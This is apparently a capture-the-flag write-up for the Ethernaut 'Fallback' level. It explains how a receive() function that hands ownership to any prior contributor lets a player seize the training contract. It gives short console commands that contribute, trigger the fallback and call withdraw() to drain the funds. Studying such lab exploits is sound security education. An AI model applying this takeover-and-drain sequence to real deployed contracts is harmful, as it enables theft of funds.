Writeups/Ethernaut/Fallback
EasyEthernaut · Ethernaut2024

Fallback

Ownership Takeover via Fallback Function

The contract's `receive()` fallback function assigns ownership to `msg.sender` when ETH is sent and `contributions[msg.sender] > 0`. By making a small contribution first and then sending ETH directly to the contract, ownership can be seized.

SolidityFallback FunctionOwnership TakeoverETH Transfer

00Overview

The contract's `receive()` fallback function assigns ownership to `msg.sender` when ETH is sent and `contributions[msg.sender] > 0`. By making a small contribution first and then sending ETH directly to the contract, ownership can be seized.

01Seed a small contribution

Trigger contributions[msg.sender] > 0.

javascript
await contract.contribute({value: toWei("0.0005")})

02Send ETH to trigger the fallback

Call the fallback with a direct ETH transfer.

javascript
await sendTransaction({from: player, to: instance, value: toWei("0.0001")})

03Confirm ownership and drain

Verify ownership then withdraw all funds.

javascript
await contract.owner() // returns player address
await contract.withdraw()

04Level Completed

Fallback — completion screenshot 1